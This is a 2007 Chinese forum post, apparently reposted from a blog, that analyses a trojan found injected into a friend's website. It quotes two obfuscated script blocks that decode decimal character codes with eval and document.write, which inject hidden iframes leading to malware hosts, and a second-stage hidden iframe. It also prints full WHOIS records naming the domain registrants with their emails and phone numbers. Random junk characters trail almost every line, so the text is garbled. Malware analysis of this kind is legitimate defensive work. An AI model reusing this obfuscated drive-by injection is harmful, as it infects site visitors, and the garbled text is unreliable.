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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, f7][#EL  
2 \}J*0  
http://www.areway.cn/?p=175 8.8t$  
m&gB;g3:  
4oueLT(zc  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: O !{YwE8x9  
          V+y"L>K  
<script>t=’60,105,102,114,97,109,101, h9CTcWGt  
32,115,114,99,61,104,116,116,112,58,47,47, ^V#,iO9.-  
102,114,101,101,46,117,45,117,117,117,46,99, uC#@qpzy  
110,47,101,114,114,111,114,46,104,116,109, /]5*;kO`  
32,119,105,100,116,104,61,49,48,48,32,104, 3NDddrL9  
101,105,103,104,116,61,48,62,60,47,105,102, Z+J4 q9^$  
114,97,109,101,62′; \`xlD&F@U  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> -f mJkI  
                                                                                                  LybaE~=  
<script>t=’60,105,102,114,97,109,101,32,115, geqP.MR  
114,99,61,104,116,116,112,58,47,47,102,114, *|Er;Thw  
101,101,46,117,45,117,117,117,46,99,110,47, 3Cc#{X-+  
101,114,114,111,114,46,104,116,109,32,119, D\9-/ p  
105,100,116,104,61,49,48,48,32,104,101,105, UO@K:n  
103,104,116,61,48,62,60,47,105,102,114,97, VZI!rFac  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 3B 'j?+A  
document.write(t);</script> fz:(mZ%  
                                                                                                  p^k0Rad  
<html xmlns=” )"6-7ii7(f  
http://www.w3.org/1999/xhtml $HsNV6  
“> ~'KqiUY  
<head> y^}u L|=  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> $Oy&PO e  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> BLO ]78  
<title>首页 - 爱生活家庭网 ?z&%VU"  
                                                                                                                                                    @`:X,]{  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Q=xXj'W-  
转换字符串后的大概内容是(谁点击后果自付): ){"?@1vP  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… p^|l ',e  
                                                                                                                                  ,&WwADZ-s  
查询玉米u-uuu.cn的详细信息: =urGs`\  
Domain Name: u-uuu.cn 4}v|^_x-i  
ROID: 20070901s10001s64972306-cn ;-kDJ i  
Domain Status: ok BR@m*JGajz  
Registrant Organization: 王雷 uHSnZ"#  
Registrant Name: 王雷 qx[c0X!  
Administrative Email: czlovexs@126.com ektU,Oo  
Sponsoring Registrar: 北京万网志成科技有限公司 )3:0TFS}}k  
Name Server:ns.yovole.com >>$`]]7  
Name Server:ns1.yovole.com &k%>u[Bo  
Registration Date: 2007-09-01 17:54 /G'3!S  
Expiration Date: 2008-09-01 17:54 A8*zB=C  
最后PING了一下地址 都没有什么…. U].]K   
                                                                                                ~Ss,he]Er  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ][v]Nk  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> LrbD%2U$j5  
<script language=”javascript” src=” A8Q^y AP^  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script {#k[-\|;  
> CL4N/[UM  
这个玉米应该有可能是木马作者的: 8Ejb/W_  
foafau.info的详细信息: *1<kYrB  
Access to INFO WHOIS information is provided to assist persons in iI";m0Ny  
determining the contents of a domain name registration record in the Gw$5<%sB  
Afilias registry database. The data in this record is provided by ,Q7;(&x~  
Afilias Limited for informational purposes only, and Afilias does not )B0%"0?`8  
guarantee its accuracy.  This service is intended only for query-based >!xyA;  
access. You agree that you will use this data only for lawful purposes /0XMQy  
and that, under no circumstances will you use this data to: (a) allow, Tgr,1) T  
enable, or otherwise support the transmission by e-mail, telephone, or uoI7' :Nv  
facsimile of mass unsolicited, commercial advertising or solicitations +lqGf  
to entities other than the data recipient’s own existing customers; or pOo016afmA  
(b) enable high volume, automated, electronic processes that send q -8G  
queries or data to the systems of Registry Operator, a Registrar, or *??lwvJp  
Afilias except as reasonably necessary to register domain names or r9})~>   
modify existing registrations. All rights reserved. Afilias reserves 5P-t{<]tx  
the right to modify these terms at any time. By submitting this query, ([dd)QU  
you agree to abide by this policy. X$ ZVY2  
Domain ID:D22418703-LRMS A!B.+p[ G  
Domain Name:FOAFAU.INFO 4v hz`1  
Created On:20-Nov-2007 16:05:42 UTC Y -a   
Last Updated On:20-Nov-2007 16:05:44 UTC ' 1gfXC  
Expiration Date:20-Nov-2008 16:05:42 UTC N8dxgh!,  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ?l^Xauk4Pj  
Status:CLIENT DELETE PROHIBITED " L`)^  
Status:CLIENT RENEW PROHIBITED &b tI#  
Status:CLIENT TRANSFER PROHIBITED "U-jZ5o"  
Status:CLIENT UPDATE PROHIBITED 5z!$=SFz  
Status:TRANSFER PROHIBITED XH$r(@Z\7  
Registrant ID:GODA-040110615 BA]$Fi.Mw  
Registrant Name:liu hong ,dCEy+  
Registrant Organization: bT^dtEr[  
Registrant Street1:beijing WqCC4R,-  
Registrant Street2: QH9t |l  
Registrant Street3: l\*9rs:!  
Registrant City:beijing @5S'5)4pB  
Registrant State/Province: Q7$o&N{  
Registrant Postal Code:100000 "a8E0b  
Registrant Country:CN .PUp3X-  
Registrant Phone:+86.860108888777 !{t|z=Qg  
Registrant Phone Ext.: #;j:;LRU  
Registrant FAX: WI/tWj0  
Registrant FAX Ext.: Ec@n<KK#  
Registrant Email:bbbshiji@163.com 2+ cs^M3  
Admin ID:GODA-240110615 Sz go@x$^  
Admin Name:liu hong wwB3m&  
Admin Organization: Lz'VQO1U=  
Admin Street1:beijing MxIa,M <  
Admin Street2: 0B]q /G(  
Admin Street3: +y?Ilkk;j  
Admin City:beijing Z,.Hz\y1D  
Admin State/Province: Yg^ &4ZF  
Admin Postal Code:100000 Y#ZgrziYM  
Admin Country:CN [7FG;}lB-  
Admin Phone:+86.860108888777 \:WWrY8&  
Admin Phone Ext.: qJrT  
Admin FAX: c>B1cR  
Admin FAX Ext.: :x*)o+  
Admin Email:bbbshiji@163.com T`ibulp  
Billing ID:GODA-340110615 "0P`=n  
Billing Name:liu hong 20|`jxp  
Billing Organization: \xkKgI/  
Billing Street1:beijing -Lh7!d  
Billing Street2: 3N2d V6u  
Billing Street3: ;/j2(O^  
Billing City:beijing >CqzC8JF  
Billing State/Province: E[]5Od5#  
Billing Postal Code:100000 No'?8+i  
Billing Country:CN ecghY=%  
Billing Phone:+86.860108888777 Hsf::K x  
Billing Phone Ext.: _5jT}I<k  
Billing FAX: E^axLp>(I  
Billing FAX Ext.: 8Y?M:^f~  
Billing Email:bbbshiji@163.com >1Z"5F7=  
Tech ID:GODA-140110615 ' rcqy1-&  
Tech Name:liu hong v 3I^81  
Tech Organization: ,yYcjs!=o  
Tech Street1:beijing 4N,mcV  
Tech Street2: y>P+"Z.K%}  
Tech Street3: $oK&k}Q  
Tech City:beijing *|fF;-#v  
Tech State/Province: +(3_V$|Dv  
Tech Postal Code:100000 ::|~tLFu  
Tech Country:CN qz-QVY,  
Tech Phone:+86.860108888777 2X?GEO]/4  
Tech Phone Ext.: KUAzJ[>  
Tech FAX: TN2Ln?[xU  
Tech FAX Ext.: ?nd: :O  
Tech Email:bbbshiji@163.com kOYUxr.b  
Name Server:NS27.DOMAINCONTROL.COM 4+RR`I8$Ge  
Name Server:NS28.DOMAINCONTROL.COM @%]A,\  
Name Server: 4I$Y(E}  
Name Server: AI-*5[w#A  
Name Server: 2*|T)OA`m,  
Name Server: k {*QU(  
Name Server: ysW})#7X  
Name Server: &]nx^C8V;  
Name Server: %;,fI'M  
Name Server: ci~#G[_$S  
Name Server: ^`&'u_B!+  
Name Server: 7z b^Z]  
Name Server: b dgkA  
                                                                                                          H@Z_P p?  
接着下载每个文件里面的代码: ;)(g$r^_i  
一步一步看.. D@O `"2  
:!%VSem  
HZyA\FS  
oN7SmP_  
Z}J5sifr  
UlYFloZ  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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